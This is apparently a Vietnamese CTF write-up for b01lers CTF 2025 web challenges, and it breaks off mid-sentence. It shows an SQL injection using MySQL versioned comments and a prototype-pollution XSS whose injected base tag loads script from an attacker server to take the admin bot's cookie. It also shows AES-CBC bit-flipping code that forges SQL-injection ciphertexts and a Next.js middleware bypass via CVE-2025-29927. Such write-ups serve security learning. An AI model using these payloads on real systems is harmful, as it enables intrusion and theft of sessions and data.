# B01LERCHAIN 2025 ![image](https://hackmd.io/_uploads/B1SZTPdkle.png) ## MỤC LỤC [trouble at the spa ✔](#trouble-at-the-spa) [defense-in-depth ✔](#defense-in-depth) [No code ✔](#No-code) [Atom Bomb ✖](#Atom-Bomb) [link-shortener ✖](#link-shortener) [what the crypto ✔](#what-the-crypto) [njaas ✔](#njaas) [musicplayer ✖](#musicplayer) ## trouble at the spa ![image](https://hackmd.io/_uploads/S1TUtgW1ge.png) ![image](https://hackmd.io/_uploads/S1WTfZfJgx.png) -> có vẻ như là vào được `/flag` là lấy được flag tuy nhiên nó launch trên github mà github chỉ nhận những trang có sẵn như `html, css` Như vậy: - `https://ky28060.github.io/flag` -> thực chất là `https://ky28060.github.io/flag/index.html` -> 404 NotFound => làm cách nào đó đến đến được flag => đúng thật là địa chỉ vật lí trong git không tồn tại flag thật ![image](https://hackmd.io/_uploads/HkxQS-Zklg.png) Như vậy đi theo đường URL có vẻ sai sai :::success sẽ ra sao nếu như mình thay đổi URL mà không cần reload lại trang web bới nếu reload lại trang web thì nó sẽ lấy địa chỉ vật lí ở trong git tuy nhiên cái mình cần là tác vụ `flag` của nó được xử lí ::: Sau khi search thì mình thấy cái này có thể thay đổi được url mà không cần phải reload [Tài Liệu](https://www.30secondsofcode.org/js/s/modify-url-without-reload/) ```python! window.history.pushState({}, '', '/flag'); ``` Áp dụng vào thì mình thấy nó thực sự đã thay đổi được url mà không cần reload tuy nhiên chưa có gì xảy ra ở đây ![image](https://hackmd.io/_uploads/S1D56XZkxx.png) Có vẻ như cần 1 câu lệnh gì đó để nó upadte trạng thái của url ```python! window.dispatchEvent(new PopStateEvent('popstate')); ``` ![image](https://hackmd.io/_uploads/Hksa6mbkgl.png) `FLAG:bctf{r3wr1t1ng_h1st0ry_1b07a3768fc}` ## defense-in-depth ![image](https://hackmd.io/_uploads/r1HjNJfyxx.png) ![image](https://hackmd.io/_uploads/HJio4yMJee.png) với payload này ```python! GET /info/a'UNION SELECT * from secrets WHERE key = 'flag HTTP/2 ``` ![image](https://hackmd.io/_uploads/ry07SkM1el.png) Có vẻ như SQLi nhưng chưa biết bypass qua như nào ![image](https://hackmd.io/_uploads/BJzADkzJlg.png) --- ![image](https://hackmd.io/_uploads/HJndFxMyle.png) ```python! GET /info/a'UNION SELECT * from `s``e``c``r``e``t``s` WHERE key = 'flag HTTP/2 ``` Khó nhỉ ; có vẻ như trong SQLite này thì muốn truy vấn phải gọi tên bảng ![image](https://hackmd.io/_uploads/S1ShlWfJxg.png) ```python! GET /info/' UNION SELECT * FROM "sec" || "rets" /**/S HTTP/2 ``` ![image](https://hackmd.io/_uploads/BJTNb-fylg.png) ```python! GET /info/' UNION SELECT * FROM secrets where key='flag HTTP/2 ``` Tuy nhiên chính vì check như này : ![image](https://hackmd.io/_uploads/H1OW0qNyeg.png) ![image](https://hackmd.io/_uploads/HyA4Ac41xl.png) Mà a dev bỏ qua 1 mặt phẳng tấn công khác đó là `comment` :::danger Sẽ ra sao nếu secrets rơi vào comment ::: ```python= /*!50000 union select `key`,`value`,3 from secrets where `key`='flag' */ ``` - Đây là phần comment Vậy đưa nó vào câu query là được - Đây là MySQL versioned comment → chỉ thực thi nếu MySQL phiên bản ≥ 5.000. Tuy nhiên khi đưa lên `url` `https://defense-in-depth.harkonnen.b01lersc.tf/info/x'/*!50000%20union%20select%20%60key%60,%60value%60,3%20from%20secrets%20where%20%60key%60='flag'%20*/%20'` Nó trả về ![image](https://hackmd.io/_uploads/r1jpvaEyeg.png) Vậy tại sao nó sẽ mắc ở 1 trong ba luận lí ![image](https://hackmd.io/_uploads/r11GdTEkxx.png) Hoặc ![image](https://hackmd.io/_uploads/ryrtOp4Jex.png) ![image](https://hackmd.io/_uploads/B1s3g0E1el.png) Hoặc ![image](https://hackmd.io/_uploads/BJXpqpVyll.png) nếu bỏ đi phần comment câu truy vấn của chúng ta sẽ có dạng `SELECT * from users WHERE name = 'k' ''` ![image](https://hackmd.io/_uploads/rJ4UjaE1xe.png) Vậy chỉ có thể là lỗi Syntax cần 1 kí tự nào đó để chèn vào giữa cho nó hợp lệ . Và đó là `order by` `SELECT * from users WHERE name = 'k' order by ''` ![image](https://hackmd.io/_uploads/BJG8hpVyxe.png) Vậy giờ hãy gắn khẩu súng vào nào Câu lệnh sẽ là `SELECT * from users WHERE name = 'k' {payload} order by 'x'` PAYLOAD `/*!50000%20union%20select%20%60key%60,%60value%60,3%20from%20secrets%20where%20%60key%60='flag'*/` URL sẽ có dạng `https://defense-in-depth.harkonnen.b01lersc.tf/info/` `k' ` `/*!50000%20union%20select%20%60key%60,%60value%60,3%20from%20secrets%20where%20%60key%60='flag'*/` `order by 'x` ![image](https://hackmd.io/_uploads/Sk3YapVJlg.png) NICE! FLAG: `bctf{7h1s_1s_prob4bly_the_easiest_web_s0_go_s0lve_smt_3ls3_n0w!!!}` ## No code ![image](https://hackmd.io/_uploads/S14-KGPyxl.png) --- ![image](https://hackmd.io/_uploads/rJ0Jr1BJll.png) Đọc đến có vẻ là lấy cookie là xong Sơ qua về `admin-bot/app/index.js` xử lí 1 url , truy cập đến nó -> mở 1 browser Context chứa **flag** ở **cookie** và 1 trang mới để truy cập URL với `timeout` 5s Chưa thấy liên quan gì đến `routeLinks()` ở bên `app/scripts/routing.js` Đọc qua thì thấy cơ chế của bài này là con `admin` truy cập vào `URL` của trang `no code` này . Bên cạnh đó `admin-bot` gán `cookie` vào tên miền mình vừa truy cập . :::success Nhiệm vụ của mình là làm sao để truy cập vào tên miền đó mà có thể lấy được `cookie` cái mà vừa được gắn vào `domain` của trang `web` chính ::: ![image](https://hackmd.io/_uploads/rk16lmP1lx.png) Chat : lỗ hổng `prototype pollution` trong `module @fastify/formbody` (hoặc các plugin liên quan như `fastify-multipart`) được xác định với mã `CVE-2020-8136`. Lỗ hổng này ảnh hưởng đến các phiên bản của fastify-multipart trước 1.0.5, cho phép kẻ tấn công gửi các yêu cầu `multipart` được chế tạo đặc biệt để thao túng `prototype` của đối tượng, dẫn đến khả năng crash ứng dụng hoặc thực hiện các hành vi không mong muốn 1. Đầu tiên ta sẽ request đến url của trang phụ để thay đổi prototype ![image](https://hackmd.io/_uploads/H1YOYmwkgx.png) Do phần parse của con trang phụ này cũng không sanitize các `prototype malicious` ```python== function parseQuery(query) { query = query.replace(/$\?/, ""); const params = query.split("&"); const result = {}; for (const param of params) { const [key, value] = param.split("=").map(decodeURIComponent); if (key.includes("[")) { const parts = key.split("[").map((part) => part.replace(/]$/, "")); let curr = result; for (let part of parts.slice(0, -1)) { if (curr[part] === undefined) { curr[part] = {}; } curr = curr[part]; } curr[parts[parts.length - 1]] = value; } else { result[key] = value; } } return result; } ``` Request đến nó nào ![image](https://hackmd.io/_uploads/ByPcYQD1lg.png) ![image](https://hackmd.io/_uploads/rkPrcQD1gx.png) **đây là ban đầu** ![image](https://hackmd.io/_uploads/rk9acmDyex.png) **lúc sau** đây là điều mình muốn ```python! { __proto__: { children: { 0: { tag: "base", attributes: { href: "attacker_url" } } } } } ``` dùng tag `base` để thay đổi url ; Khi đó thay vì load `url` trang web thì đoạn `url` của attack sẽ được load lên sau khi đã load các các `prortotype malicious` lên giờ sẽ làm gì đó để `admin` đọc được payload sau đó thực hiện `fetch` đến `webhook` mang theo món bánh mlem mlem Khi reload trang phụ thì đã nhận được request đến `webhook` => đã thâu tóm được `prototype` :::danger Tuy nhiên việc của mình là lấy được cookie của admin cơ ::: ![image](https://hackmd.io/_uploads/BJfZQpwkge.png) Reload lại trang web thì đã `fetch` được . Gửi cho admin trang đã thâu tóm `prototype` nhưng vẫn không `fetch` được . Vậy do đâu . ........... Hơi bí đợi writeup BTC vậy :::danger AUKE CHỮA BÀI Đây là chủ đề về prototype pollution + xss => lấy cookie(đúng như dự đoạn của mình) Ngay ở trong code của admin bot đã có phần `Parse` và đưa vào bên trong 1 `query` ![image](https://hackmd.io/_uploads/SJrhS6Oegx.png) Giá trị trả về là 1 đối tượng với các thuộc tính ```php! { a: "1", b: "2", c: { d: "3" } } ``` luận lí sẽ như sau ![image](https://hackmd.io/_uploads/rk0N6Tugge.png) Như ta đã thấy khi mà `obj.childern` tồn tại . Nó sẽ thay thế hết tất cả thuộc tính mà mình đưa vào => đây sẽ là `prototype pollution` thực hành luôn với payload ```php! http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a ``` sau khi đã query đến thì ta được sự khác biệt như sau ![image](https://hackmd.io/_uploads/ByVbQC_egl.png) Ta thấy đã xuất hiện `children` Vậy lợi dụng nó để thực thi javascript trong và lấy được **cookie** Tuy nhiên mình nhận ra 1 vấn đề -> thể script trong payload đã biến mất ?????? 😪 ![image](https://hackmd.io/_uploads/Skh54Rulgx.png) Trong JavaScript `array-like` cần có thuộc tính `length` thì mới hợp lệ ```php! { "__proto__": { "children": { "0": { "tag": "script", "attributes": { "src": "a" } }, "length": 1 } } } ``` auke thử lại nào ```php! http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a &__proto__[children][length]=1 ``` ![image](https://hackmd.io/_uploads/rkuQBAulgx.png) HỪm lại gì nữa đây ? Như ta thấy ở trên Phần `replaceAllProps` nó gọi đệ quy nên sẽ là vô tận bởi vì `children ` luôn luôn được định nghĩa, Nhưng có vẻ là sắp đúng r `pollute` vào `__proto__` chỉ cần làm 1 lần ```php! http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a &__proto__[children][length]=1 &__proto__[children][0][children]=0 ``` ![image](https://hackmd.io/_uploads/S18-d0uegg.png) Auke đã xong ```php! reply.header( "content-security-policy", `require-trusted-types-for 'script'; trusted-types 'none'` ); ``` tuy nhiên `script` không thực sự thực thi được do content security policy (csp) Vậy thay bằng `<base>` ```php! http://localhost:8000/ ?__proto__[children][0][tag]=base &__proto__[children][0][attributes][href]=https://your-server &__proto__[children][length]=1 &__proto__[children][0][children]=0 ``` Thẻ base sẽ khiến cho việc load script từ server của attaker trước url thực sự cần load ![image](https://hackmd.io/_uploads/Skeu90uexx.png) Vậy nên ta tiêm ``<base href="https://your-server">`` trước `<script src="/scripts/routing.js"> ` , chúng sẽ load `https://your-server/scripts/routing.js,` bypass được qua csp giờ sẽ launch 1 con server chứa payload `fetch` lên ![image](https://hackmd.io/_uploads/rJDS91Yxge.png) ![image](https://hackmd.io/_uploads/BkgU5Jtgle.png) ok giờ đây mình ấn cái gì vào trang web cũng chuyển đến server mình => có nghĩa là nó thực sự đã render server của mình trước những đường url khác ![image](https://hackmd.io/_uploads/Byi25kYege.png) ![image](https://hackmd.io/_uploads/ByZJ3yFele.png) Như vậy đã XSS thành công bởi vì prototype pollution vẫn còn đó nên xss vẫn còn đó => giờ đưa url lên con bot ở local không lấy được vì regex đang check cùng tên miền đây là payload trong thực tế ```php! http://localhost:8000/ ?__proto__[children][0][tag]=base &__proto__[children][0][attributes][href]=http://172.20.10.3 &__proto__[children][length]=1 &__proto__[children][0][children]=0 ``` không chứng minh bằng cách cướp Cookie => do ban tổ chức đã reg `url` vậy sẽ chứng minh bằng XSS `alert()` ![image](https://hackmd.io/_uploads/rJcYT5tgxe.png) ![image](https://hackmd.io/_uploads/Ska9T5tgxx.png) ![image](https://hackmd.io/_uploads/rkPl09Yxxe.png) Như vậy đã thực thi được payload ::: ## Atom Bomb ![image](https://hackmd.io/_uploads/BkGGaTwklx.png) Bài nay `logic` khá đơn giản chỉ là `click` vào `button` để lấy thông tin Khi `click` vào thì nó sẽ có hai phương thức `GET` -> `POST` ![image](https://hackmd.io/_uploads/B1-jeOuJxx.png) Sau đó `POST` ![image](https://hackmd.io/_uploads/Hy5yZdO1eg.png) Chưa có ý tưởng gì mới ## musicplayer ![image](https://hackmd.io/_uploads/r1m3Estyee.png) ## what the crypto ![image](https://hackmd.io/_uploads/ryvu05Kggx.png) Bài này SQLi lấy key của admin là được 1. Người dùng gửi 1 yêu cầu `post` lên server 2. decode `username` và `passwd` 3. đưa đến `get` 4. Giải mã `usr` và `passwd` và sau đó thực thi query ![image](https://hackmd.io/_uploads/BJ3qBotlxg.png) đương nhiên có filter ở đây ![image](https://hackmd.io/_uploads/rkLKUjYxge.png) Test thử lại luộn lí mà server xử lí passwd username ```python== # Install pycryptodome package first: pip install pycryptodome from Crypto.Cipher import AES import base64 import flask import os import sqlite3 import tempfile import urllib from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Random import get_random_bytes sha = SHA256.new() # tạo 1 hash SHA256 flag = "bctf{fake}" sha.update(flag.encode()) # hash flag key = sha.digest()[:16] # lấy 16 byte đầu tiên của hash username = 'tung' password = '123456' padded1 = (username + " " * (-len(username) % AES.block_size)).encode() # padding username padded2 = (password + " " * (-len(password) % AES.block_size)).encode() # padding password cipher = AES.new(key, AES.MODE_CBC) ciphertext1 = cipher.iv + cipher.encrypt(padded1) cipher = AES.new(key, AES.MODE_CBC) ciphertext2 = cipher.iv + cipher.encrypt(padded2) encoded1 = ciphertext1.hex() encoded2 = ciphertext2.hex() ciphertext1 = bytes.fromhex(encoded1) # chuyển username từ hex sang bytes ciphertext2 = bytes.fromhex(encoded2) # chuyển password từ hex sang bytes cipher = AES.new(key, AES.MODE_CBC, ciphertext1[:16]) # giải mã username padded1 = cipher.decrypt(ciphertext1[16:]) # giải mã username cipher = AES.new(key, AES.MODE_CBC, ciphertext2[:16]) # giải mã password padded2 = cipher.decrypt(ciphertext2[16:]) # giải mã password username = padded1.decode("ascii", errors="replace").rstrip(" ") # chuyển username từ bytes sang ascii và loại bỏ khoảng trắng ở cuối password = padded2.decode("ascii", errors="replace").rstrip(" ") # chuyển password từ bytes sang ascii và loại bỏ khoảng trắng ở cuối print(username, password) ``` ![image](https://hackmd.io/_uploads/r16CKotexl.png) Như vậy mình phải sql làm sao mà đi được qua đây trong khi bị filter các kí tự đặc biệt Mình thấy ở đây có hai cách : 1. chúng ta không thể đưa các kí tự đặc biệt sau đó mã hóa nó -> không có key 1. Bởi vậy ta có phương thức `POST` trong phương thức này sẽ mã hóa dữ liệu (có sẵn key) -> Đưa đến GET để giải mã -> thực hiện truy vấn Vậy làm cách nào để inject được trong khi cả hai con đường đều bế tắc . Nhìn chung thì con đường hai dễ hơn là mò được key 👌 :::success Sẽ ra sao nếu anh dev mã hóa không an toàn ????? ::: Phía server sử dụng mã hóa AES (Advanced Encryption Standard) 1. Padding lại `username` để đủ 16 byte 2. Tạo `cipher.iv` (chuỗi ngẫu nhiên 16 byte) 3. Sau đó `xor` hai cái với nhau 4. nối cipher.iv + kết quả trên 5. Encode Hex 6. Gửi đi ![image](https://hackmd.io/_uploads/By8Clrcxeg.png) Giải thích qua về luận lí của mã hoá AES-CBC ```python! C₀(32BYTE) = IV(32BYTE) C₁(32BYTE) = Eₖ(P₁(16BYTE) ⊕ C₀(32BYTE)) C₂(32BYTE) = Eₖ(P₂(16BYTE) ⊕ C₁(32BYTE)) C₃(32BYTE) = Eₖ(P₃(16BYTE) ⊕ C₂(32BYTE)) ``` Và giải mã thì ban đầu sẽ encode hex sau đó ```python! P₁ = Dₖ(C₁) ⊕ C₀ -> tuỳ chỉnh C0 để thâu tóm p1 P₂ = Dₖ(C₂) ⊕ C₁ -> do đoạn trên c1 đã thâu tóm nên p2 vô nghĩa P₃ = Dₖ(C₃) ⊕ C₂ -> điều chỉnh c2 để thâu tóm p3 ``` dùng kĩ thuật `AES CBC Bit Flipping Attack` mấu chốt nằm ở đây ```python! xor(uname_blocks[0], xor(block[:len(query_part1)], query_part1)) ``` Nghĩa là từ 1 đoạn hex (đúng được lấy ra từ key real) -> `uname_blocks[0]` ta xor để tạo ra 1 đoạn hex khác sao cho Hơi bí nên tìm cách khác ```python! fixed_iv = b'0123456789abcde4' cipher = AESCipher(key) ctx = cipher.encrypt(msg, iv=fixed_iv).decode('utf-8') print('Ciphertext :', ctx) xors = [ 0x42 ^ 0x27, # B ^ ' = 0x42 ^ 0x27 = 0x65 0x75 ^ 0x4F, # u ^ O = 0x75 ^ 0x4F = 0x3A 0x79 ^ 0x52, # y ^ R = 0x79 ^ 0x52 = 0x2B 0x20 ^ 0x20, # ' ' ^ ' ' = 0x20 ^ 0x20 = 0x00 (không cần thay đổi) 0x31 ^ 0x2F, # 1 ^ / = 0x31 ^ 0x2F = 0x1E 0x30 ^ 0x2A # 0 ^ * = 0x30 ^ 0x2A = 0x1A ] # Thực hiện bit flip tại các vị trí trong IV (0-5) flipped_ctx = ctx for i, xor_val in enumerate(xors): if xor_val != 0: # Chỉ flip nếu cần thay đổi flipped_ctx = bitFlip(i, xor_val, flipped_ctx) print('Cipher After :', flipped_ctx) ``` ![image](https://hackmd.io/_uploads/BJqQaAceel.png) 1. Giờ bắt đầu với `'OR /*` ```python! xors = [ 0x42 ^ 0x2A, # B ^ * = 0x42 ^ 0x2A = 0x68 0x75 ^ 0x2F, # u ^ / = 0x75 ^ 0x2F = 0x5A 0x79 ^ 0x61, # y ^ a = 0x79 ^ 0x61 = 0x18 0x20 ^ 0x75, # ' ' ^ u = 0x20 ^ 0x75 = 0x55 0x31 ^ 0x74, # 1 ^ t = 0x31 ^ 0x74 = 0x45 0x30 ^ 0x68 # 0 ^ h = 0x30 ^ 0x68 = 0x58 ] ``` Như vậy sau khi giải mã thì chuỗi mong đợi sẽ là `'OR /*00 lots of waffles` đây sẽ 32 byte đầu tiên của payload `VQsZMyovNjc4OWFiY2RlNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdB` 2. tiếp tục với `*/auth_secret/*` ```python! xors = [ 0x42 ^ 0x2A, # B ^ * = 0x42 ^ 0x2A = 0x68 0x75 ^ 0x2F, # u ^ / = 0x75 ^ 0x2F = 0x5A 0x79 ^ 0x61, # y ^ a = 0x79 ^ 0x61 = 0x18 0x20 ^ 0x75, # ' ' ^ u = 0x20 ^ 0x75 = 0x55 0x31 ^ 0x74, # 1 ^ t = 0x31 ^ 0x74 = 0x45 0x30 ^ 0x68, # 0 ^ h = 0x30 ^ 0x68 = 0x58 0x30 ^ 0x5F, # 0 ^ _ = 0x30 ^ 0x5F = 0x6F 0x30 ^ 0x73, # 0 ^ s = 0x30 ^ 0x73 = 0x43 0x20 ^ 0x65, # ' ' ^ e = 0x20 ^ 0x65 = 0x45 0x6C ^ 0x63, # l ^ c = 0x6C ^ 0x63 = 0x0F 0x6F ^ 0x72, # o ^ r = 0x6F ^ 0x72 = 0x1D 0x74 ^ 0x65, # t ^ e = 0x74 ^ 0x65 = 0x11 0x73 ^ 0x74, # s ^ t = 0x73 ^ 0x74 = 0x07 0x20 ^ 0x2F, # ' ' ^ / = 0x20 ^ 0x2F = 0x0F 0x6F ^ 0x2A # o ^ * = 0x6F ^ 0x2A = 0x45 ] ``` `Buy 1000 lots of waffles` -> `*/auth_secret/*f waffles` 32byte tiếp theo là `WGsqZnFtWXR9NnxzZGsgNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdB` 3. giờ sẽ là `*/LIKE/*` ```python! xors = [ 0x42 ^ 0x2A, # B ^ * = 0x42 ^ 0x2A = 0x68 0x75 ^ 0x2F, # u ^ / = 0x75 ^ 0x2F = 0x5A 0x79 ^ 0x4C, # y ^ L = 0x79 ^ 0x4C = 0x35 0x20 ^ 0x49, # ' ' ^ I = 0x20 ^ 0x49 = 0x69 0x31 ^ 0x4B, # 1 ^ K = 0x31 ^ 0x4B = 0x7A 0x30 ^ 0x45, # 0 ^ E = 0x30 ^ 0x45 = 0x75 0x30 ^ 0x2F, # 0 ^ / = 0x30 ^ 0x2F = 0x1F 0x30 ^ 0x2A # 0 ^ * = 0x30 ^ 0x2A = 0x1A ] ``` `Buy 1000 lots of waffles` -> `*/LIKE/* lots of waffles` 32 byte tiếp theo `WGsHWk5AKS04OWFiY2RlNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdB` 4. tiếp theo là `*/'%$gram%';--` ```python! xors = [ 0x42 ^ 0x2A, # B ^ * = 0x42 ^ 0x2A = 0x68 0x75 ^ 0x2F, # u ^ / = 0x75 ^ 0x2F = 0x5A 0x79 ^ 0x27, # y ^ ' = 0x79 ^ 0x27 = 0x5E 0x20 ^ 0x25, # ' ' ^ % = 0x20 ^ 0x25 = 0x05 0x31 ^ 0x24, # 1 ^ $ = 0x31 ^ 0x24 = 0x15 0x30 ^ 0x67, # 0 ^ g = 0x30 ^ 0x67 = 0x57 0x30 ^ 0x72, # 0 ^ r = 0x30 ^ 0x72 = 0x42 0x30 ^ 0x61, # 0 ^ a = 0x30 ^ 0x61 = 0x51 0x20 ^ 0x6D, # ' ' ^ m = 0x20 ^ 0x6D = 0x4D 0x6C ^ 0x25, # l ^ % = 0x6C ^ 0x25 = 0x49 0x6F ^ 0x27, # o ^ ' = 0x6F ^ 0x27 = 0x48 0x74 ^ 0x3B, # t ^ ; = 0x74 ^ 0x3B = 0x4F 0x73 ^ 0x2D, # s ^ - = 0x73 ^ 0x2D = 0x5E 0x20 ^ 0x2D # ' ' ^ - = 0x20 ^ 0x2D = 0x0D ] ``` `Buy 1000 lots of waffles` -> `*/'%$gram%';--of waffles` 32 byte cuối `WGtsNiFidGZ1cCktPWllNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdB` auke để check lại thì giờ sẽ thử giải mã lại xem sao đây là payload cuối cùng ```python! VQsZMyovNjc4OWFiY2RlNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdBWGsqZnFtWXR9NnxzZGsgNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdBWGsHWk5AKS04OWFiY2RlNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdBWGtsNiFidGZ1cCktPWllNPq1mzaJY8Av5V9AzZIH53Ni8Geho6pvdPJw7GkROUdB ``` ![image](https://hackmd.io/_uploads/SJIIBJiexg.png) `'OR /*00 lots of waffles*/auth_secret/*f waffles*/LIKE/* lots of waffles*/'%$gram%';--of waffles` auke giở chỉ cần đưa vào vòng lặp sau đó check từng kí tự là ok `'OR /*00 lots of waffles*/auth_secret/*f waffles*/LIKE/* lots of waffles*/'btcf{..';--of waffles` -> `'OR auth_secret LIKE'btcf{..';` đây là code sinh payload của từng phần ```python! from base64 import b64decode, b64encode from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad class AESCipher: def __init__(self, key): self.key = key def encrypt(self, data, iv=None): if iv is None: iv = get_random_bytes(AES.block_size) self.cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + self.cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))) def decrypt(self, data): raw = b64decode(data) self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size) def bitFlip(pos, bit, data): raw = b64decode(data) list1 = list(raw) list1[pos] = list1[pos] ^ bit raw = bytes(list1) return b64encode(raw) if __name__ == '__main__': key = b'Sixteen byte key' msg = "Buy 1000 lots of waffles" print('Original Message:', msg) # Sử dụng IV cố định fixed_iv = b'0123456789abcde4' cipher = AESCipher(key) ctx = cipher.encrypt(msg, iv=fixed_iv).decode('utf-8') print('Ciphertext :', ctx) # Tính toán các giá trị XOR để thay đổi bản rõ thành "*/'%$gram%';--" xors = [ 0x42 ^ 0x2A, # B ^ * = 0x42 ^ 0x2A = 0x68 0x75 ^ 0x2F, # u ^ / = 0x75 ^ 0x2F = 0x5A 0x79 ^ 0x27, # y ^ ' = 0x79 ^ 0x27 = 0x5E 0x20 ^ 0x25, # ' ' ^ % = 0x20 ^ 0x25 = 0x05 0x31 ^ 0x24, # 1 ^ $ = 0x31 ^ 0x24 = 0x15 0x30 ^ 0x67, # 0 ^ g = 0x30 ^ 0x67 = 0x57 0x30 ^ 0x72, # 0 ^ r = 0x30 ^ 0x72 = 0x42 0x30 ^ 0x61, # 0 ^ a = 0x30 ^ 0x61 = 0x51 0x20 ^ 0x6D, # ' ' ^ m = 0x20 ^ 0x6D = 0x4D 0x6C ^ 0x25, # l ^ % = 0x6C ^ 0x25 = 0x49 0x6F ^ 0x27, # o ^ ' = 0x6F ^ 0x27 = 0x48 0x74 ^ 0x3B, # t ^ ; = 0x74 ^ 0x3B = 0x4F 0x73 ^ 0x2D, # s ^ - = 0x73 ^ 0x2D = 0x5E 0x20 ^ 0x2D # ' ' ^ - = 0x20 ^ 0x2D = 0x0D ] # Thực hiện bit flip tại các vị trí trong IV (0-13) flipped_ctx = ctx for i, xor_val in enumerate(xors): if xor_val != 0: # Chỉ flip nếu cần thay đổi flipped_ctx = bitFlip(i, xor_val, flipped_ctx) print('Cipher After :', flipped_ctx) # Giải mã và xử lý lỗi UTF-8 try: decrypted_msg = cipher.decrypt(flipped_ctx).decode('utf-8') except UnicodeDecodeError: decrypted_msg = cipher.decrypt(flipped_ctx).decode('utf-8', errors='replace') print('Decrypted Message:', decrypted_msg) # Kiểm tra kết quả expected_flipped_msg = "*/'%$gram%';--" print('Expected Message :', expected_flipped_msg) print('Match? :', decrypted_msg.startswith(expected_flipped_msg)) ``` ## njaas ![image](https://hackmd.io/_uploads/HyGqakillg.png) **Ý tưởng** : làm như thế nào đấy để request đến trang có chứa flag . Đương nhiên trang này là của admin (trong thử thách này khi ta truy cập url `admin/flag` -> thì nó sẽ auto chuyển ta về trang `home` ) ![image](https://hackmd.io/_uploads/rk3_hDogge.png) MỘT VÀI KIẾN THỨC CẦN NẮM 1. :::info Trước hết mình phải hiểu `middleware` dùng trong NextJs: Nó đơn giản là 1 trạm trung chuyển giữa client với server với nhiều mục đích khác nhau 1. xác thực -> như bài lab này 2. điều khiển lưu lượng mạng ...... ::: 2. :::info Khi có 1 endpoint `admin/flag` Trong server của nextJS sẽ tự động gen ra endpoint JSON đó là `/_next/data/<build-id>/admin/flag.json` Mục đích để phục vụ đúng nội dung yêu cầu tránh việc lãng phí tài nguyên đây gọi là cơ chế `UrlNormalize` và sau đó cơ chế này sẽ được làm ngược lại `_next/data/<build-id>/admin/flag.json` -> `admin/flag` Tuy nhiên nếu thiết lập `skipMiddlewareUrlNormalize` thì URL sẽ vẫn là `_next/data/<build-id>/admin/flag.json` -> Như vậy là sẽ không còn `matcher` với `/admin /:path*` nữa -> bypass qua middleware ::: Theo như gợi ý thì có vẻ như có vấn đề gì đấy với `header` Ý tưởng của bài lab này tác giả đã dựa vào `CVE-2025-29927` :::warning Ở bản patch của CVE này trưởng `x-middleware-subrequest` giờ không còn được tuỳ tiện gửi nữa mà muốn xác thực nó phải có `middlewareSubrequestId ` tuy nhiên nó là số random (không thể đoán được) -> vậy có cách nào để leak được `idAuth` đó ra là pwn ::: `proxy/app.py` ```python= @app.route('/csrf', methods=['POST']) # thiết lập csrf token def csrf(): # thiết lập csrf token token = request.form.get('token', token_hex(16))[:30].strip().encode("utf-8") # lấy csrf token từ form if len(token) < 20: return Response('Insecure CSRF Token.', status=500) try: clear_csrf() # xóa csrf token cũ environ[token.decode("utf-8", errors="ignore")] = CSRF_TOKEN # thiết lập csrf token mới token = int(token, 16) # chuyển csrf token thành số thập lục phân return Response('Set valid CSRF Token.', status=200) except ValueError: return Response('CSRF Token must be hex.', status=500) # csrf token phải là số thập lục phân ``` -> Chúng ta có thẻ set token tuỳ ý có chiều dài `20 -> 30`. Tuy nhiên không làm được gì hơn vì `token = int(token, 16)` sẽ là random Bởi vì app này chạy `subprocess.run` nên ENV VAR được thiết lập ở `/csrf` cũng sẽ được giữ lại trong suốt chương trình `proxy/app.py` ```python= def start(): clear_csrf() # xóa csrf token cũ environ['CSRF_TOKEN'] = CSRF_TOKEN # thiết lập csrf token mới global STARTED # khai báo biến global if STARTED: return Response("Start already initiated", status=428) with start_lock: # khai báo lock if STARTED: # nếu đã khởi động thì trả về lỗi return Response("Start already initiated", status=428) STARTED = True try: run(['sleep', '3'], check=False) # make sure lock is aquired run(['./start.sh'], cwd='../next', check=True) return Response("Starting 👍...", status=200) except CalledProcessError as e: return Response(f"Start Error: {str(e)}", status=500) except Exception as e: return Response(f"Unexpected Error: {str(e)}", status=500) ``` -> ở hàm `start` này như ta đã thấy nó sẽ xoá đi token được thiết lập từ endpoint `/csrf` . Sau đó là token random mới -> ngủ 3s -> `start` `NEXTJS` Vậy làm sao để thiết lập được token theo ý mình :::danger race condition ::: :::success Sẽ ra sao nếu chúng ta đợi nó xoá `token` sau đó set `token` theo ý mình rồi nó thực thi `start` -> phải set trong vòng < `3s` ::: 1 vài research từ CVE-2025-29927 có được 1 vài header malicious (dành cho nội bộ của trang) ```python= // These are headers that are only used internally and should // not be honored from the external request const INTERNAL_HEADERS = [ 'x-middleware-rewrite', 'x-middleware-redirect', 'x-middleware-set-cookie', 'x-middleware-skip', 'x-middleware-override-headers', 'x-middleware-next', 'x-now-route-matches', 'x-matched-path', ] export const filterInternalHeaders = ( headers: Record<string, undefined | string | string[]> ) => { for (const header in headers) { if (INTERNAL_HEADERS.includes(header)) { delete headers[header] } // If this request didn't origin from this session we filter // out the "x-middleware-subrequest" header so we don't skip // middleware incorrectly if ( header === 'x-middleware-subrequest' && headers['x-middleware-subrequest-id'] !== (globalThis as any)[Symbol.for('@next/middleware-subrequest-id')] ) { delete headers['x-middleware-subrequest'] } } } ``` Như ta đã thấy cve này vá thêm 1 header khác đó là `x-middleware-subrequest` Vậy làm sao để bypass qua ta có `NEXT_PRIVATE_TEST_HEADERS` (Tắt chức năng filter header dành cho các anh dev) auke để hệ thống lại cho dễ hiểu 1. Muốn lấy được flag phải qua được middleware -> dùng header đã có payload exploit sẵn 2. để set được header -> qua được hàm filterInternalHeaders -> ta có 